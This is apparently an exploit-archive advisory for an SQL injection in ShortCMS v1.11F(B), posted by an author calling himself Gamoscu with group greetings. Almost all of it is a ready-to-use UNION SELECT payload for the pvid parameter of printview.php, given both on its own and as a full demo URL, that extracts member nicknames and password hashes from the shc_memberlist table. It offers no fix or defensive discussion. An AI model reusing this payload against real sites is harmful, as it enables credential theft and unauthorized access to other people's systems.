1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
ShortCMS v. 1.11F(B) (con) SQL InjectionVulnerability ########################### Author: Gamoscu Homepage: http://www.1923turk.com Blog: http://gamoscu.wordpress.com/ Script: ShortCMS Download: http://www.shortcms.de/index.php?dwnldct ########################### [ Vulnerable File ] printview.php?func=con&pvid= [ SQL ] [ XpL ] -1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist-- [ Demo] http://server/kde/printview.php?func=con&pvid=-1/**/union/**/all/**/select/**/1,2,concat(member_nick,0x3a,member_pass),4,5,6,7,8,9,10,11,12,13,14,15+from+shc_memberlist-- ############################################################## # Greetz: Manas58 - Baybora - Delibey - Tiamo - Psiko - Turco - infazci - X-TRO ############################################################## |